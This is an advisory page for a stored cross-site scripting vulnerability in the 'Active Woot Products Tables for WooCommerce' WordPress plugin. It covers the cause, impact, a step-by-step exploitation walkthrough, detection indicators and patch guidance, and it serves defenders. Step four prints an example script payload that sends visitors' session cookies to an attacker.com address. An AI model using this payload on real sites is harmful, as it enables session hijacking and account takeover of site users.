CVE-2026-120579: 
WordPress vulnerability analysis and mitigation

CVE-2026-120579 is a Stored Cross-Site Scripting (XSS) vulnerability in the "Active Woot Products Tables for WooCommerce. 100% FREE" WordPress plugin by realmag777. The flaw affects all versions up to and including 2.1.5 and stems from insufficient input sanitization and output escaping of the help_title parameter. It was published on November 7, 2026, with a patch made available the same day. The vulnerability carries a CVSS v3.1 base score of 6.4 (Medium) (GitHub Advisory, Wordfence).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), where the plugin fails to properly sanitize user-supplied input in the help_title parameter before storing and rendering it in HTML output. An authenticated attacker with contributor-level access or higher can submit a crafted payload through this parameter, which is then persistently stored and executed in the browsers of any user who visits the affected page. The vulnerable code paths are identifiable in the plugin's index.php (lines 2249 and 2268) and lib/helper.php (line 38) (GitHub Advisory, Wordfence).

Successful exploitation allows authenticated attackers to inject persistent malicious JavaScript into WordPress pages, which executes in the browsers of all subsequent visitors — including administrators. This can result in session cookie theft, credential harvesting, unauthorized actions performed on behalf of other users (including privilege escalation if an admin visits the page), and redirection of visitors to malicious external sites. Availability is not directly impacted, but confidentiality and integrity are both affected at a low level per the CVSS assessment (GitHub Advisory, Wordfence).

There is no known public proof-of-concept exploit and no evidence of in-the-wild exploitation at the time of disclosure. The EPSS score is 0.0, indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires at minimum contributor-level authentication on the target WordPress site, which limits the attack surface compared to unauthenticated vulnerabilities (GitHub Advisory, Wordfence).

1. Reconnaissance: Identify WordPress sites running the "Active Woot Products Tables for WooCommerce" plugin at version 2.1.5 or earlier. This can be done by checking the plugin's readme.txt file (e.g., /wp-content/plugins/profit-products-tables-for-woocommerce/readme.txt) or using tools like WPScan.
2. Obtain contributor-level access: Register or compromise an account with at least contributor-level privileges on the target WordPress site.
3. Locate the vulnerable parameter: Navigate to the plugin's configuration or page-editing interface where the help_title parameter is accepted as input.
4. Inject malicious payload: Submit a crafted XSS payload in the help_title field, such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script>, which bypasses the insufficient sanitization.
5. Payload persistence: The malicious script is stored in the WordPress database and rendered unsanitized on the affected page.
6. Trigger execution: When any user (including administrators) visits the injected page, the script executes in their browser, enabling cookie theft, session hijacking, or further malicious actions (GitHub Advisory, Wordfence).

• Logs: WordPress access logs showing POST requests to plugin-related endpoints with unusual or encoded script content in the help_title parameter; unexpected outbound HTTP requests from the web server to external domains.
• Database: Presence of <script> tags or JavaScript event handlers (e.g., onerror, onload) stored in the help_title field within the WordPress database (wp_posts or plugin-specific tables).
• Network: Outbound connections from visitor browsers to unknown external domains shortly after loading pages containing the plugin's output; traffic to attacker-controlled cookie-harvesting endpoints.
• File System: Unexpected modifications to plugin files in /wp-content/plugins/profit-products-tables-for-woocommerce/, particularly index.php or lib/helper.php, if an attacker escalated to file write access after initial XSS exploitation (GitHub Advisory).

Site administrators should update the "Active Woot Products Tables for WooCommerce" plugin to a version beyond 2.1.5, where the patch has been applied (changeset 3784667 in the WordPress plugin SVN repository). As interim mitigations, restrict contributor-level access to only fully trusted users, and implement a strict Content Security Policy (CSP) to limit unauthorized script execution. Additionally, audit all pages created or modified by contributors for injected malicious scripts and remove any found (GitHub Advisory, Wordfence).